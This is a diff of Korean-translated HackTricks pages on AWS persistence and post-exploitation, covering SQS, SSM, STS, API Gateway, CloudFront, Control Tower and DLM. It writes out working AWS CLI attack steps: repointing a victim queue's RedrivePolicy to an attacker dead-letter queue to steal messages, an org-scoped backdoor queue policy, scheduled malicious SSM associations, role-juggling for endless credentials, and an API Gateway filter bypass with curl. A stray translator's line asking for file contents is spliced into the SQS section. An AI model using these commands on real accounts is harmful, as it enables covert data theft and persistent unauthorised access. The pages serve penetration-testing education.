> 새로운 메시지가 큐에 추가될 때마다 **공격자의 계정에서 Lambda를 트리거할 수 있습니다** (다시 추가해야 할 필요가 있습니다). 이를 위해 다음 지침을 따르십시오: [https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html](https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html)
{{#include ../../../banners/hacktricks-training.md}}
@@ -0,0 +1,47 @@
# AWS - SQS 영속성
{{#include ../../../../banners/hacktricks-training.md}}
## SQS
자세한 내용은 다음을 확인하세요:
{{#ref}}
../../aws-services/aws-sqs-and-sns-enum.md
{{#endref}}
### 리소스 정책 사용
SQS에서는 IAM 정책으로 **누가 읽기 및 쓰기 권한이 있는지**를 지정해야 합니다. 외부 계정, 역할의 ARN, 또는 **심지어 "\*"**를 지정할 수 있습니다.\
다음 정책은 **MyTestQueue**라는 큐의 모든 항목에 대해 AWS의 모든 사용자에게 액세스 권한을 부여합니다:
```json
{
"Version": "2008-10-17",
"Id": "__default_policy_ID",
"Statement": [
{
"Sid": "__owner_statement",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": ["SQS:*"],
"Resource": "arn:aws:sqs:us-east-1:123123123123:MyTestQueue"
}
]
}
```
> [!NOTE]
> 큐에 새 메시지가 들어올 때마다 **attacker's account에 있는 Lambda를 트리거**할 수도 있습니다(다시 put해야 합니다). 이를 위해 다음 지침을 따르세요: [https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html](https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html)
### 추가 SQS Persistence Techniques
{{#ref}}
aws-sqs-dlq-backdoor-persistence.md
{{#endref}}
{{#ref}}
aws-sqs-orgid-policy-backdoor.md
{{#endref}}
{{#include ../../../../banners/hacktricks-training.md}}
@@ -0,0 +1,71 @@
# AWS - SQS DLQ Backdoor Persistence via RedrivePolicy/RedriveAllowPolicy
{{#include ../../../../banners/hacktricks-training.md}}
SQS Dead-Letter Queues (DLQs)를 악용해 피해자 source queue의 RedrivePolicy를 공격자 제어 큐로 지정함으로써 데이터를 은밀하게 유출할 수 있습니다. 낮은 maxReceiveCount를 설정하고 정상 처리 실패를 유도하거나 대기하면, 프로듀서나 Lambda event source mappings를 변경하지 않고도 메시지가 자동으로 공격자 DLQ로 전환됩니다.
## 악용되는 권한
- sqs:SetQueueAttributes on the victim source queue (RedrivePolicy 설정용)
- sqs:SetQueueAttributes on the attacker DLQ (RedriveAllowPolicy 설정용)
- 가속을 위한 선택: sqs:ReceiveMessage on the source queue
- 설정을 위한 선택: sqs:CreateQueue, sqs:SendMessage
## 동일 계정 흐름 (allowAll)
준비 (공격자 계정 또는 권한이 탈취된 principal):
```bash
REGION=us-east-1
# 1) Create attacker DLQ
ATTACKER_DLQ_URL=$(aws sqs create-queue --queue-name ht-attacker-dlq --region $REGION --query QueueUrl --output text)
ATTACKER_DLQ_ARN=$(aws sqs get-queue-attributes --queue-url "$ATTACKER_DLQ_URL" --region $REGION --attribute-names QueueArn --query Attributes.QueueArn --output text)
# 2) Allow any same-account source queue to use this DLQ
aws sqs set-queue-attributes \
--queue-url "$ATTACKER_DLQ_URL" --region $REGION \
--attributes '{"RedriveAllowPolicy":"{\"redrivePermission\":\"allowAll\"}"}'
```
실행 (피해자 계정에서 손상된 principal로 실행):
```bash
# 3) Point victim source queue to attacker DLQ with low retries
VICTIM_SRC_URL=<victim source queue url>
ATTACKER_DLQ_ARN=<attacker dlq arn>
aws sqs set-queue-attributes \
--queue-url "$VICTIM_SRC_URL" --region $REGION \
--attributes '{"RedrivePolicy":"{\"deadLetterTargetArn\":\"'"$ATTACKER_DLQ_ARN"'\",\"maxReceiveCount\":\"1\"}"}'
```
가속(선택 사항):
```bash
# 4) If you also have sqs:ReceiveMessage on the source queue, force failures
for i in {1..2}; do \
aws sqs receive-message --queue-url "$VICTIM_SRC_URL" --region $REGION \
--max-number-of-messages 10 --visibility-timeout 0; \
done
```
파일 내용을 붙여넣어 주세요. 요청하신 규칙(태그·경로·코드 비번역 등)에 따라 영어 본문을 한국어로 번역해 드리겠습니다.
```bash
# 5) Confirm messages appear in attacker DLQ
aws sqs receive-message --queue-url "$ATTACKER_DLQ_URL" --region $REGION \
--max-number-of-messages 10 --attribute-names All --message-attribute-names All
```
예시 증거 (속성에는 DeadLetterQueueSourceArn이 포함됩니다):
```json
{
"MessageId": "...",
"Body": "...",
"Attributes": {
"DeadLetterQueueSourceArn": "arn:aws:sqs:REGION:ACCOUNT_ID:ht-victim-src-..."
}
}
```
## Cross-Account Variant (byQueue)
attacker DLQ에서 RedriveAllowPolicy를 설정하여 특정 victim source queue ARNs만 허용하도록 합니다:
```bash
VICTIM_SRC_ARN=<victim source queue arn>
aws sqs set-queue-attributes \
--queue-url "$ATTACKER_DLQ_URL" --region $REGION \
--attributes '{"RedriveAllowPolicy":"{\"redrivePermission\":\"byQueue\",\"sourceQueueArns\":[\"'"$VICTIM_SRC_ARN"'\"]}"}'
```
## Impact
- 은밀하고 영속적인 data exfiltration/persistence: 피해자 SQS 소스 큐의 실패한 메시지를 자동으로 공격자 제어 DLQ로 우회시켜, 운영상 노이즈를 최소화하고 producers나 Lambda 매핑을 변경할 필요 없이 수행됩니다.
{{#include ../../../../banners/hacktricks-training.md}}
@@ -0,0 +1,38 @@
# AWS - SQS OrgID Policy Backdoor
{{#include ../../../../banners/hacktricks-training.md}}
SQS 큐 리소스 정책을 악용하여 조건 aws:PrincipalOrgID를 사용해 대상 AWS Organization에 속한 어떤 principal에게도 Send, Receive 및 ChangeMessageVisibility 권한을 은밀히 부여합니다. 이렇게 하면 org-scoped한 숨겨진 경로가 생성되어 explicit account 또는 role ARNs 혹은 star principals만을 확인하는 제어를 종종 회피합니다.
### Backdoor policy (attach to the SQS queue policy)
```json
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "OrgScopedBackdoor",
"Effect": "Allow",
"Principal": "*",
"Action": [
"sqs:ReceiveMessage",
"sqs:SendMessage",
"sqs:ChangeMessageVisibility",
"sqs:GetQueueAttributes"
],
"Resource": "arn:aws:sqs:REGION:ACCOUNT_ID:QUEUE_NAME",
"Condition": {
"StringEquals": { "aws:PrincipalOrgID": "o-xxxxxxxxxx" }
}
}
]
}
```
### 단계
- AWS Organizations API로 Organization ID를 획득합니다.
- SQS queue ARN을 얻고 위의 statement를 포함하는 queue policy를 설정합니다.
- 해당 Organization에 속한 어떤 principal로부터 큐에 메시지를 전송하고 수신하여 접근을 검증합니다.
### 영향
- 지정된 AWS Organization의 어떤 계정에서도 SQS 메시지를 읽고 쓰는 Organization-wide 은닉 접근.
{{#include ../../../../banners/hacktricks-training.md}}
@@ -1,27 +0,0 @@
# AWS - SSM 지속성
{{#include ../../../banners/hacktricks-training.md}}
## SSM
자세한 정보는 다음을 확인하세요:
{{#ref}}
../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md
{{#endref}}
### 지속성을 위한 ssm:CreateAssociation 사용
**`ssm:CreateAssociation`** 권한이 있는 공격자는 SSM에 의해 관리되는 EC2 인스턴스에서 명령을 자동으로 실행하기 위해 State Manager Association을 생성할 수 있습니다. 이러한 연관은 고정 간격으로 실행되도록 구성할 수 있어, 대화형 세션 없이 백도어와 같은 지속성에 적합합니다.
```bash
aws ssm create-association \
--name SSM-Document-Name \
--targets Key=InstanceIds,Values=target-instance-id \
--parameters commands=["malicious-command"] \
--schedule-expression "rate(30 minutes)" \
--association-name association-name
```
> [!NOTE]
> 이 지속성 방법은 EC2 인스턴스가 Systems Manager에 의해 관리되고, SSM 에이전트가 실행 중이며, 공격자가 연관성을 생성할 수 있는 권한이 있는 한 작동합니다. 대화형 세션이나 명시적인 ssm:SendCommand 권한이 필요하지 않습니다. **중요:** `--schedule-expression` 매개변수(예: `rate(30 minutes)`)는 AWS의 최소 간격인 30분을 준수해야 합니다. 즉시 또는 일회성 실행을 위해서는 `--schedule-expression`을 완전히 생략하십시오 — 연관성은 생성 후 한 번 실행됩니다.
{{#include ../../../banners/hacktricks-training.md}}
@@ -0,0 +1,27 @@
# AWS - SSM Perssitence
{{#include ../../../../banners/hacktricks-training.md}}
## SSM
자세한 정보는 다음을 확인하세요:
{{#ref}}
../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md
{{#endref}}
### ssm:CreateAssociation을 사용한 persistence
권한 **`ssm:CreateAssociation`** 을 가진 공격자는 SSM으로 관리되는 EC2 인스턴스에서 명령을 자동으로 실행하도록 State Manager Association을 생성할 수 있습니다. 이러한 associations는 고정된 간격으로 실행되도록 구성할 수 있어, 대화형 세션 없이도 backdoor-like persistence에 적합합니다.
```bash
aws ssm create-association \
--name SSM-Document-Name \
--targets Key=InstanceIds,Values=target-instance-id \
--parameters commands=["malicious-command"] \
--schedule-expression "rate(30 minutes)" \
--association-name association-name
```
> [!NOTE]
> 이 지속성 방법은 EC2 인스턴스가 Systems Manager로 관리되고 SSM agent가 실행 중이며 공격자가 association을 생성할 권한이 있는 경우에 작동합니다. 이 방법은 대화형 세션이나 명시적인 ssm:SendCommand 권한을 필요로 하지 않습니다. **중요:** `--schedule-expression` 파라미터(예: `rate(30 minutes)`)는 AWS의 최소 간격인 30분을 준수해야 합니다. 즉시 또는 일회성 실행을 원하면 `--schedule-expression`을 완전히 생략하세요 — association은 생성 후 한 번 실행됩니다.
{{#include ../../../../banners/hacktricks-training.md}}
@@ -1,21 +0,0 @@
# AWS - Step Functions Persistence
{{#include ../../../banners/hacktricks-training.md}}
## Step Functions
자세한 정보는 다음을 확인하세요:
{{#ref}}
../aws-services/aws-stepfunctions-enum.md
{{#endref}}
### Step function Backdooring
스텝 함수를 백도어하여 지속성 트릭을 수행하게 하여 매번 실행될 때마다 악성 단계를 실행하도록 합니다.
### Backdooring aliases
AWS 계정이 스텝 함수를 호출하기 위해 별칭을 사용하는 경우, 별칭을 수정하여 새로운 백도어 버전의 스텝 함수를 사용할 수 있습니다.
{{#include ../../../banners/hacktricks-training.md}}
@@ -0,0 +1,21 @@
# AWS - Step Functions Persistence
{{#include ../../../../banners/hacktricks-training.md}}
## Step Functions
자세한 내용은 다음을 확인하세요:
{{#ref}}
../../aws-services/aws-stepfunctions-enum.md
{{#endref}}
### Step function Backdooring
Backdoor a step function을 심어 어떤 persistence trick이라도 수행하게 만들면, 실행될 때마다 악성 단계를 실행하도록 만들 수 있다.
### Backdooring aliases
AWS 계정이 step functions를 호출하기 위해 aliases를 사용하고 있다면, alias를 수정하여 step function의 새로운 backdoored 버전을 사용하도록 만들 수 있다.
{{#include ../../../../banners/hacktricks-training.md}}
@@ -1,36 +1,36 @@
# AWS - STS Persistence
{{#include ../../../banners/hacktricks-training.md}}
{{#include ../../../../banners/hacktricks-training.md}}
## STS
자세한 정보는 다음을 참하세요:
자세한 내용은 다음을 참하세요:
{{#ref}}
../aws-services/aws-sts-enum.md
../../aws-services/aws-sts-enum.md
{{#endref}}
### Assume role token
임시 토큰은 나열할 수 없으므로, 활성 임시 토큰을 유지하는 것이 지속성을 유지하는 방법입니다.
임시 토큰은 목록으로 확인할 수 없으므로, 활성 임시 토큰을 유지하는 것이 지속성을 확보하는 한 방법입니다.
<pre class="language-bash"><code class="lang-bash">aws sts get-session-token --duration-seconds 129600
# MFA 사용 시
# With MFA
aws sts get-session-token \
--serial-number <mfa-device-name> \
--token-code <code-from-token>
# 하드웨어 장치 이름은 일반적으로 장치 뒷면의 번호입니다. 예: GAHT12345678
<strong># SMS 장치 이름은 AWS의 ARN입니다. 예: arn:aws:iam::123456789012:sms-mfa/username
</strong># 가상 장치 이름은 AWS의 ARN입니다. 예: arn:aws:iam::123456789012:mfa/username
# Hardware device name is usually the number from the back of the device, such as GAHT12345678
<strong># SMS device name is the ARN in AWS, such as arn:aws:iam::123456789012:sms-mfa/username
</strong># Vritual device name is the ARN in AWS, such as arn:aws:iam::123456789012:mfa/username
</code></pre>
### Role Chain Juggling
[**역할 체이닝은 인정된 AWS 기능입니다**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_terms-and-concepts.html#Role%20chaining), 종종 은밀한 지속성을 유지하는 데 사용됩니다. 이는 **역할을 가정한 후 다른 역할을 가정하는** 능력을 포함하며, **순환 방식으로** 초기 역할로 되돌아갈 수 있습니다. 역할이 가정될 때마다 자격 증명의 만료 필드가 새로 고쳐집니다. 따라서 두 역할이 서로를 상호 가정하도록 구성되면, 이 설정은 자격 증명의 지속적인 갱신을 허용합니다.
[**Role chaining is an acknowledged AWS feature**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_terms-and-concepts.html#Role%20chaining), 종종 은밀한 지속성을 유지하는 데 사용됩니다. 이는 **assume a role which then assumes another**, 필요 시 초기 역할로 **cyclical manner** 돌아갈 수 있는 능력을 포함합니다. 역할이 가정될 때마다 자격 증명의 만료 필드가 갱신됩니다. 결과적으로 두 역할이 서로를 상호 assume하도록 구성되면, 이 설정은 자격 증명을 영구적으로 갱신할 수 있게 합니다.
이 [**도구**](https://github.com/hotnops/AWSRoleJuggler/) 사용하여 역할 체이닝을 계속할 수 있습니다:
role chaining을 계속 유지하려면 이 [**tool**](https://github.com/hotnops/AWSRoleJuggler/) 사용할 수 있습니다:
```bash
./aws_role_juggler.py -h
usage: aws_role_juggler.py [-h] [-r ROLE_LIST [ROLE_LIST ...]]
@@ -40,11 +40,11 @@ optional arguments:
-r ROLE_LIST [ROLE_LIST ...], --role-list ROLE_LIST [ROLE_LIST ...]
```
> [!CAUTION]
> Note that the [find_circular_trust.py](https://github.com/hotnops/AWSRoleJuggler/blob/master/find_circular_trust.py) 스크립트는 해당 Github 리포지토리에서 역할 체인이 구성될 수 있는 모든 방법을 찾지 못니다.
> 해당 Github 저장소의 [find_circular_trust.py](https://github.com/hotnops/AWSRoleJuggler/blob/master/find_circular_trust.py) 스크립트는 역할 체인이 구성될 수 있는 모든 방법을 찾아내지 못할 수 있습니다.
<details>
<summary>PowerShell에서 역할 조작을 수행하는 코드</summary>
<summary>PowerShell에서 Role Juggling을 수행하는 코드</summary>
```bash
# PowerShell script to check for role juggling possibilities using AWS CLI
@@ -124,4 +124,4 @@ Write-Host "Role juggling check complete."
```
</details>
{{#include ../../../banners/hacktricks-training.md}}
{{#include ../../../../banners/hacktricks-training.md}}
@@ -1,34 +1,34 @@
# AWS - API Gateway Post Exploitation
{{#include ../../../banners/hacktricks-training.md}}
{{#include ../../../../banners/hacktricks-training.md}}
## API Gateway
자세한 정보는 다음을 확인하세요:
For more information check:
{{#ref}}
../aws-services/aws-api-gateway-enum.md
../../aws-services/aws-api-gateway-enum.md
{{#endref}}
### 노출되지 않은 API 접근
### Access unexposed APIs
[https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint](https://us-east-1.console.aws.amazon.com/vpc/home?region=us-east-1#CreateVpcEndpoint:)에서 서비스 `com.amazonaws.us-east-1.execute-api` 엔드포인트를 생성하고, 접근할 수 있는 네트워크(잠재적으로 EC2 머신을 통해)에 엔드포인트를 노출시키고 모든 연결을 허용하는 보안 그룹을 할당니다.\
그런 다음, EC2 머신에서 엔드포인트에 접근할 수 있으며, 따라서 이전에 노출되지 않았던 게이트웨이 API를 호출할 수 있습니다.
서비스 `com.amazonaws.us-east-1.execute-api`[https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint](https://us-east-1.console.aws.amazon.com/vpc/home?region=us-east-1#CreateVpcEndpoint:)에 엔드포인트를 생성하고, 접근 가능한 네트워크(잠재적으로 EC2 머신을 통해)에 엔드포인트를 노출한 뒤 모든 연결을 허용하는 보안 그룹을 할당할 수 있습니다.\
그런 다음 EC2 머신에서 해당 엔드포인트에 접근하여 이전에 노출되지 않았던 gateway API를 호출할 수 있습니다.
### 요청 본문 패스스루 우회
### Bypass Request body passthrough
이 기술은 [** CTF 작성글**](https://blog-tyage-net.translate.goog/post/2023/2023-09-03-midnightsun/?_x_tr_sl=en&_x_tr_tl=es&_x_tr_hl=en&_x_tr_pto=wapp)에서 발견되었습니다.
This technique was found in [**this CTF writeup**](https://blog-tyage-net.translate.goog/post/2023/2023-09-03-midnightsun/?_x_tr_sl=en&_x_tr_tl=es&_x_tr_hl=en&_x_tr_pto=wapp).
[**AWS 문서**](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-apigateway-method-integration.html)에서 `PassthroughBehavior` 섹션에 명시된 바와 같이, 기본적으로 값 **`WHEN_NO_MATCH`**는 요청의 **Content-Type** 헤더를 확인할 때, 변환 없이 요청을 백엔드로 전달합니다.
As indicated in the [**AWS documentation**](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-apigateway-method-integration.html) in the `PassthroughBehavior` section, by default, the value **`WHEN_NO_MATCH`** , when checking the **Content-Type** header of the request, will pass the request to the back end with no transformation.
따라서 CTF에서 API Gateway는 요청이 `Content-Type: application/json`으로 전송될 때 **플래그가 응답으로 유출되는 것을 방지하는** 통합 템플릿을 가지고 있었습니다.
Therefore, in the CTF the API Gateway had an integration template that was **preventing the flag from being exfiltrated** in a response when a request was sent with `Content-Type: application/json`:
```yaml
RequestTemplates:
application/json: '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename=:moviename","FilterExpression": "not contains(#description, :flagstring)","ExpressionAttributeNames": {"#description": "description"},"ExpressionAttributeValues":{":moviename":{"S":"$util.escapeJavaScript($input.params(''moviename''))"},":flagstring":{"S":"midnight"}}}'
```
그러나 **`Content-type: text/json`**으로 요청을 보내면 해당 필터를 우회할 수 있습니다.
하지만 **`Content-type: text/json`**으로 요청을 보내면 해당 필터를 우회할 수 있다.
마지막으로, API Gateway가 `Get``Options`만 허용하므로, 본문에 쿼리를 포함한 POST 요청을 보내고 헤더 `X-HTTP-Method-Override: GET`을 사용하여 임의의 dynamoDB 쿼리를 제한 없이 보낼 수 있었습니다:
마지막으로, API Gateway가 `Get``Options`만 허용했기 때문에, 바디에 쿼리를 넣고 헤더 `X-HTTP-Method-Override: GET`을 사용해 POST 요청을 보내면 제한 없이 임의의 dynamoDB 쿼리를 전송할 수 있었다:
```bash
curl https://vu5bqggmfc.execute-api.eu-north-1.amazonaws.com/prod/movies/hackers -H 'X-HTTP-Method-Override: GET' -H 'Content-Type: text/json' --data '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename = :moviename","ExpressionAttributeValues":{":moviename":{"S":"hackers"}}}'
```
@@ -40,7 +40,7 @@ The **API Key** just need to be **included** inside a **HTTP header** called **`
### `apigateway:UpdateGatewayResponse`, `apigateway:CreateDeployment`
An attacker with the permissions `apigateway:UpdateGatewayResponse` and `apigateway:CreateDeployment` can **기존 Gateway Response를 수정하여 민감한 정보를 유출하거나 악성 스크립트를 실행하는 사용자 정의 헤더 또는 응답 템플릿을 포함할 수 있습니다**.
권한 `apigateway:UpdateGatewayResponse` `apigateway:CreateDeployment`를 가진 공격자는 **기존 Gateway Response를 수정하여 custom headers나 response templates를 포함시키고, 이를 통해 민감한 정보를 leak 하거나 악성 스크립트를 실행할 수 있습니다**.
```bash
API_ID="your-api-id"
RESPONSE_TYPE="DEFAULT_4XX"
@@ -51,14 +51,14 @@ aws apigateway update-gateway-response --rest-api-id $API_ID --response-type $RE
# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
```
**잠재적 영향**: 민감한 정보 유출, 악성 스크립트 실행 또는 API 리소스에 대한 무단 접근.
**잠재적 영향**: 민감한 정보의 Leakage, 악성 스크립트 실행, 또는 API 리소스에 대한 무단 접근.
> [!NOTE]
> 테스트 필요
### `apigateway:UpdateStage`, `apigateway:CreateDeployment`
`apigateway:UpdateStage``apigateway:CreateDeployment` 권한을 가진 공격자는 **기존 API Gateway 단계를 수정하여 트래픽을 다른 단계로 리디렉션하거나 캐싱 설정을 변경하여 캐시된 데이터에 무단으로 접근할 수 있습니다**.
`apigateway:UpdateStage``apigateway:CreateDeployment` 권한을 가진 공격자는 **기존 API Gateway stage를 수정하여 트래픽을 다른 stage로 리디렉션하거나 캐싱 설정을 변경하여 캐시된 데이터에 무단으로 접근할 수 있습니다**.
```bash
API_ID="your-api-id"
STAGE_NAME="Prod"
@@ -69,14 +69,14 @@ aws apigateway update-stage --rest-api-id $API_ID --stage-name $STAGE_NAME --pat
# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
```
**잠재적 영향**: 캐시된 데이터에 대한 무단 접근, API 트래픽 중단 또는 가로채기.
**잠재적 영향**: 캐시된 데이터에 대한 무단 액세스, API 트래픽 중단 또는 가로채기.
> [!NOTE]
> 테스트 필요
### `apigateway:PutMethodResponse`, `apigateway:CreateDeployment`
`apigateway:PutMethodResponse``apigateway:CreateDeployment` 권한을 가진 공격자는 **기존 API Gateway REST API 메서드의 메서드 응답을 수정하여 민감한 정보를 유출하거나 악성 스크립트를 실행하는 사용자 정의 헤더 또는 응답 템플릿을 포함할 수 있습니다**.
권한 `apigateway:PutMethodResponse``apigateway:CreateDeployment` 가진 공격자는 **기존 API Gateway REST API 메서드의 method response를 수정하여 맞춤 헤더나 응답 템플릿을 포함시킴으로써 민감한 정보를 leak 하거나 악성 스크립트를 실행할 수 있습니다**.
```bash
API_ID="your-api-id"
RESOURCE_ID="your-resource-id"
@@ -89,14 +89,14 @@ aws apigateway put-method-response --rest-api-id $API_ID --resource-id $RESOURCE
# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
```
**잠재적 영향**: 민감한 정보 유출, 악 스크립트 실행 또는 API 리소스에 대한 무단 접근.
**잠재적 영향**: Leakage of sensitive information, 악의적 스크립트 실행, 또는 API 리소스에 대한 무단 액세스.
> [!NOTE]
> 테스트 필요
### `apigateway:UpdateRestApi`, `apigateway:CreateDeployment`
`apigateway:UpdateRestApi``apigateway:CreateDeployment` 권한을 가진 공격자는 **API Gateway REST API 설정을 수정하여 로깅을 비활성화하거나 최소 TLS 버전을 변경하여 API의 보안을 약화시킬 수 있습니다**.
권한 `apigateway:UpdateRestApi``apigateway:CreateDeployment` 가진 공격자는 **API Gateway REST API 설정을 수정하여 로깅을 비활성화하거나 최소 TLS 버전을 변경함으로써 API의 보안을 약화시킬 수 있습니다**.
```bash
API_ID="your-api-id"
@@ -106,14 +106,14 @@ aws apigateway update-rest-api --rest-api-id $API_ID --patch-operations op=repla
# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
```
**잠재적 영향**: API 보안 약화시켜, 무단 접근을 허용하거나 민감한 정보를 노출 수 있습니다.
**Potential Impact**: API 보안 약화 — 잠재적으로 무단 접근을 허용하거나 민감한 정보를 노출시킬 수 있습니다.
> [!NOTE]
> 테스트 필요
### `apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan`, `apigateway:CreateUsagePlanKey`
`apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan`, 및 `apigateway:CreateUsagePlanKey` 권한을 가진 공격자는 **새 API 를 생성하고, 이를 사용 계획에 연한 다음, 이러한 키를 사용하여 API에 무단 접근할 수 있습니다**.
`apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan`, 및 `apigateway:CreateUsagePlanKey` 권한을 가진 공격자는 **새로운 API keys를 생성하고 이를 usage plans에 연한 다음, 이 키들로 APIs에 무단 접근할 수 있습니다**.
```bash
# Create a new API key
API_KEY=$(aws apigateway create-api-key --enabled --output text --query 'id')
@@ -124,9 +124,9 @@ USAGE_PLAN=$(aws apigateway create-usage-plan --name "MaliciousUsagePlan" --outp
# Associate the API key with the usage plan
aws apigateway create-usage-plan-key --usage-plan-id $USAGE_PLAN --key-id $API_KEY --key-type API_KEY
```
**잠재적 영향**: API 리소스에 대한 무단 접근, 보안 제 우회.
**잠재적 영향**: API 리소스에 대한 무단 접근, 보안 제 우회.
> [!NOTE]
> 테스트 필요
{{#include ../../../banners/hacktricks-training.md}}
{{#include ../../../../banners/hacktricks-training.md}}
@@ -1,31 +0,0 @@
# AWS - CloudFront Post Exploitation
{{#include ../../../banners/hacktricks-training.md}}
## CloudFront
자세한 정보는 다음을 확인하세요:
{{#ref}}
../aws-services/aws-cloudfront-enum.md
{{#endref}}
### Man-in-the-Middle
이 [**블로그 게시물**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c)은 **Lambda**가 **CloudFront를 통한 통신**에 추가되거나 (이미 사용 중인 경우 수정됨) 사용자 정보를 **훔치기** 위한 몇 가지 다른 시나리오를 제안합니다 (세션 **쿠키**와 같은) 및 **응답**을 **수정**합니다 (악성 JS 스크립트 주입).
#### 시나리오 1: CloudFront가 버킷의 일부 HTML에 접근하도록 구성된 MitM
- **악성** **함수**를 **생성**합니다.
- CloudFront 배포와 **연결**합니다.
- **이벤트 유형을 "Viewer Response"**로 설정합니다.
응답에 접근하여 사용자의 쿠키를 훔치고 악성 JS를 주입할 수 있습니다.
#### 시나리오 2: CloudFront가 이미 lambda 함수를 사용하는 MitM
- 민감한 정보를 훔치기 위해 lambda 함수의 **코드를 수정**합니다.
이 시나리오를 재현하기 위한 [**tf 코드**](https://github.com/adanalvarez/AWS-Attack-Scenarios/tree/main)를 확인할 수 있습니다.
{{#include ../../../banners/hacktricks-training.md}}
@@ -0,0 +1,31 @@
# AWS - CloudFront Post Exploitation
{{#include ../../../../banners/hacktricks-training.md}}
## CloudFront
자세한 정보는 다음을 확인하세요:
{{#ref}}
../../aws-services/aws-cloudfront-enum.md
{{#endref}}
### Man-in-the-Middle
This [**blog post**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c)에서는 **Lambda**를 **communication through CloudFront**에 추가(또는 이미 사용 중이면 수정)하여 세션 **cookie**와 같은 사용자 정보를 **stealing**하고 **response**를 **modifying**(악성 JS 스크립트 주입)하는 여러 시나리오를 제시합니다.
#### scenario 1: MitM where CloudFront is configured to access some HTML of a bucket
- **Create** 악성 **function**.
- **Associate** 이를 CloudFront distribution과 연동합니다.
- Set the **event type to "Viewer Response"**.
응답에 접근하면 사용자 cookie를 탈취하고 악성 JS를 주입할 수 있습니다.
#### scenario 2: MitM where CloudFront is already using a lambda function
- lambda function의 코드를 **Modify the code**하여 민감한 정보를 탈취합니다.
재현을 위한 [**tf code to recreate this scenarios here**](https://github.com/adanalvarez/AWS-Attack-Scenarios/tree/main)를 확인할 수 있습니다.
{{#include ../../../../banners/hacktricks-training.md}}
@@ -1,18 +0,0 @@
# AWS - Control Tower Post Exploitation
{{#include ../../../banners/hacktricks-training.md}}
## Control Tower
{{#ref}}
../aws-services/aws-security-and-detection-services/aws-control-tower-enum.md
{{#endref}}
### Enable / Disable Controls
계정을 추가로 악용하기 위해 Control Tower 제어를 비활성화/활성화해야 할 수 있습니다:
```bash
aws controltower disable-control --control-identifier <arn_control_id> --target-identifier <arn_account>
aws controltower enable-control --control-identifier <arn_control_id> --target-identifier <arn_account>
```
{{#include ../../../banners/hacktricks-training.md}}
@@ -0,0 +1,18 @@
# AWS - Control Tower Post Exploitation
{{#include ../../../../banners/hacktricks-training.md}}
## Control Tower
{{#ref}}
../../aws-services/aws-security-and-detection-services/aws-control-tower-enum.md
{{#endref}}
### 컨트롤 활성화/비활성화
계정을 더 exploit하기 위해서는 Control Tower 컨트롤을 비활성화/활성화해야 할 수 있습니다:
```bash
aws controltower disable-control --control-identifier <arn_control_id> --target-identifier <arn_account>
aws controltower enable-control --control-identifier <arn_control_id> --target-identifier <arn_account>
```
{{#include ../../../../banners/hacktricks-training.md}}
@@ -1,91 +0,0 @@
# AWS - DLM Post Exploitation
{{#include ../../../banners/hacktricks-training.md}}
## 데이터 라이프사이클 관리자 (DLM)
### `EC2:DescribeVolumes`, `DLM:CreateLifeCyclePolicy`
랜섬웨어 공격은 가능한 많은 EBS 볼륨을 암호화한 다음 현재 EC2 인스턴스, EBS 볼륨 및 스냅샷을 삭제함으로써 실행될 수 있습니다. 이러한 악의적인 활동을 자동화하기 위해 Amazon DLM을 사용하여 다른 AWS 계정의 KMS 키로 스냅샷을 암호화하고 암호화된 스냅샷을 다른 계정으로 전송할 수 있습니다. 또는 암호화 없이 스냅샷을 관리하는 계정으로 전송한 다음 그곳에서 암호화할 수 있습니다. 기존 EBS 볼륨이나 스냅샷을 직접 암호화하는 것은 간단하지 않지만, 새로운 볼륨이나 스냅샷을 생성함으로써 가능할 수 있습니다.
먼저, 인스턴스 ID, 볼륨 ID, 암호화 상태, 연결 상태 및 볼륨 유형과 같은 볼륨에 대한 정보를 수집하는 명령을 사용할 것입니다.
`aws ec2 describe-volumes`
둘째, 라이프사이클 정책을 생성할 것입니다. 이 명령은 DLM API를 사용하여 지정된 시간에 특정 볼륨의 일일 스냅샷을 자동으로 생성하는 라이프사이클 정책을 설정합니다. 또한 스냅샷에 특정 태그를 적용하고 볼륨에서 스냅샷으로 태그를 복사합니다. policyDetails.json 파일에는 대상 태그, 일정, 암호화를 위한 선택적 KMS 키의 ARN, 스냅샷 공유를 위한 대상 계정과 같은 라이프사이클 정책의 세부 사항이 포함되어 있으며, 이는 피해자의 CloudTrail 로그에 기록됩니다.
```bash
aws dlm create-lifecycle-policy --description "My first policy" --state ENABLED --execution-role-arn arn:aws:iam::12345678910:role/AWSDataLifecycleManagerDefaultRole --policy-details file://policyDetails.json
```
정책 문서의 템플릿은 여기에서 볼 수 있습니다:
```bash
{
"PolicyType": "EBS_SNAPSHOT_MANAGEMENT",
"ResourceTypes": [
"VOLUME"
],
